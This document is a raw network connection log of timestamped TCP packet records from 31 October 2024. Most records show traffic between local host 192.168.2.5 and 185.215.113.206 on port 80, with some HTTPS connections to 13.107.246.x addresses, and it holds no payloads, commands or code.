Oct 31, 2024 03:04:31.350603104 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391104937 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391201019 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391204119 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391232014 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391243935 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391251087 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391254902 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391264915 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391267061 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391279936 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391299963 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391323090 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391335011 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391345978 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391356945 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391362906 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391371965 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391383886 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391386986 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391393900 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391396046 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391407967 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391433954 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391446114 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391448021 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391455889 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391463995 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391468048 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391480923 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391483068 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391493082 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391508102 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391540051 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391545057 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391551018 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391561031 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391573906 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391582966 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391597033 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391597986 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391628027 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391644955 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391644955 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391657114 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391669035 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391676903 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391719103 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391719103 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391777039 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391788006 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391799927 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391810894 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391824007 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391824961 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391834974 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391845942 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.391849995 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391868114 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.391895056 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.458492041 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.458555937 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.458758116 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.459074020 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.465277910 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465290070 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465300083 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465338945 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.465342999 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465354919 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465373993 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.465392113 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465398073 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.465403080 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465416908 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.465441942 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.465481043 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465492010 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465502024 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465523958 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.465547085 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.465557098 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465569973 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465580940 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465595007 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.465605021 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465615988 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465625048 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.465626955 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465653896 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.465672016 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.465703011 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465714931 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465724945 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465751886 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.465773106 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.465900898 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465912104 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465922117 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465934038 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465945005 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465945959 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.465955973 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.465969086 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.465979099 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466006994 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466069937 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466080904 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466092110 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466115952 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466156960 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466175079 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466188908 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466208935 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466212034 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466223001 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466228008 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466234922 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466247082 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466247082 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466262102 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466268063 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466284990 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466286898 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466296911 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466310978 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466311932 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466336966 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466345072 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466348886 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466375113 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466387033 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466391087 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466398001 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466418028 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466422081 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466449022 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466561079 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466574907 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466587067 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466598034 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466609001 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466628075 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466629028 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466646910 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466660023 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466660023 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466670990 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466696024 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466701031 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466710091 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466722965 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466748953 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466768980 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466902018 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466912985 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466923952 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466941118 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466959000 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466969013 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466991901 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.466972113 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466972113 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.466972113 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.467005968 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467008114 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.467010975 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467015982 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.467048883 CET	49863	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:31.467070103 CET	443	49863	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:31.467083931 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.467124939 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467135906 CET	49863	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:31.467175007 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467189074 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467212915 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467225075 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.467225075 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467232943 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.467242002 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467250109 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.467261076 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467283964 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.467283964 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.467294931 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.467422962 CET	49864	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:31.467433929 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467444897 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467451096 CET	443	49864	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:31.467457056 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467466116 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.467489004 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.467506886 CET	49864	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:31.467528105 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.467606068 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467617035 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467628002 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467641115 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467644930 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.467647076 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467655897 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.467658043 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467669010 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467678070 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.467710972 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.467761993 CET	49865	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:31.467778921 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467792034 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467797995 CET	443	49865	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:31.467803001 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467816114 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467816114 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.467828035 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.467847109 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.467864990 CET	49865	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:31.467888117 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.468034029 CET	49866	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:31.468044996 CET	443	49866	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:31.468147039 CET	49866	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:31.468216896 CET	49867	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:31.468228102 CET	443	49867	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:31.468342066 CET	49868	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:31.468353033 CET	49867	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:31.468367100 CET	443	49868	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:31.468442917 CET	49868	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:31.468625069 CET	49863	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:31.468641996 CET	443	49863	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:31.468890905 CET	49864	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:31.468900919 CET	443	49864	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:31.468987942 CET	49865	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:31.469002962 CET	443	49865	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:31.469083071 CET	49866	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:31.469094992 CET	443	49866	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:31.469187975 CET	49867	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:31.469202995 CET	443	49867	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:31.469347954 CET	49868	443	192.168.2.5	13.107.246.57
Oct 31, 2024 03:04:31.469361067 CET	443	49868	13.107.246.57	192.168.2.5
Oct 31, 2024 03:04:31.507674932 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.507687092 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.507698059 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.507710934 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.507723093 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.507735968 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.507755995 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.507766962 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.507767916 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.507776022 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.507786989 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.507792950 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.507817984 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.507827044 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.507857084 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.507868052 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.507877111 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.507888079 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.507898092 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.507899046 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.507908106 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.507913113 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.507931948 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.507936001 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.507942915 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.507958889 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.507973909 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.507982969 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.507983923 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.507996082 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.508013964 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.508034945 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.508047104 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.508057117 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.508063078 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.508094072 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.508147955 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.508157969 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.508179903 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.508186102 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.508191109 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.508199930 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.508210897 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.508217096 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.508222103 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.508239985 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.508266926 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.508270979 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.508291960 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.508302927 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.508306026 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.508313894 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.508323908 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.508336067 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.508346081 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.508372068 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.508405924 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.508421898 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.508433104 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.508441925 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.508445024 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.508455992 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.508459091 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.508472919 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.508497000 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.523734093 CET	443	49855	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.525207043 CET	49855	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.525224924 CET	443	49855	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.525908947 CET	49855	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.525916100 CET	443	49855	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.527817011 CET	443	49856	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.528439045 CET	49856	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.528456926 CET	443	49856	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.529015064 CET	49856	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:31.529021978 CET	443	49856	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:31.575036049 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.575110912 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.575593948 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.575849056 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582109928 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582134008 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582144976 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582179070 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582214117 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582257986 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582287073 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582303047 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582323074 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582325935 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582340002 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582340002 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582353115 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582365036 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582376003 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582385063 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582387924 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582410097 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582413912 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582427025 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582432985 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582438946 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.582457066 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.582468033 CET	80	49823	185.215.113.206	192.168.2.5
